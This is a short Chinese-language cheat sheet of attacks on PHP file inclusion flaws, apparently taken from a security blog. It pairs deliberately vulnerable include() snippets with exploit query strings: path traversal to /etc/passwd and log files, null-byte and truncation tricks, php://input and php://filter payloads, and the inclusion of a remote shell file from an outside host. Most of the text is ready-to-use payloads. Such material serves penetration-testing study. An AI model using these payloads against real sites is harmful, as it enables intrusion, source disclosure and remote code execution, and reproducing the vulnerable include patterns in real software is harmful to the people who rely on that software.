關於PHP檔案包含一些漏洞分析

基本的檔案包含漏洞:

代碼如下	複製代碼
<?php include(“includes/” . $_GET['file']); ?> * 包含同路徑下的檔案： ?file=.htaccess * 路徑遍曆： ?file=../../../../../../../../../var/lib/locate.db (該檔案非常有趣因為它允許你搜尋檔案系統) * 包含注入PHP代碼的檔案: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地檔案包含:

代碼如下

複製代碼

<?php include(“includes/” . $_GET['file'] . “.htm”); ?> * Null 字元注入(Null Byte Injection): ?file=../../../../../../../../../etc/passwd%00 (需要magic_quotes_gpc=off) * 列目錄(Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (僅限BSD, 需要magic_quotes_gpc=off,詳細資料here) *路徑截斷(Path Truncation): ?file=../../../../../../../../../etc/passwd........... … (詳細資料參見 here 和 here) * 點號截斷: ?file=../../../../../../../../../etc/passwd……………. … (僅限Windows, 更多細節參見 here)

基本的遠程檔案包含：

代碼如下

複製代碼

<?php include($_GET['file']); ?> * 包含遠程代碼(Including Remote Code): ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (需要 allow_url_fopen=On 和 allow_url_include=On) * 使用php輸入資料流(Using PHP stream php://input): ?file=php://input (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) * 使用PHP過濾函數(Using PHP stream php://filter): ?file=php://filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) * Using data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (需要 allow_url_include=On)

* 用於跨站指令碼攻擊(Using XSS):

代碼如下	複製代碼
?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed)

受限的遠程檔案包含漏洞

代碼如下	複製代碼
<?php include($_GET['file'] . “.htm”); ?> * ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On)

靜態遠程檔案包含漏洞:

代碼如下	複製代碼
<?php include(“http://192.168.1.10/config.php”); ?> * 中間人攻擊(Man In The Middle) (lame indeed, but often forgotten)

來自Reiners’ Weblog。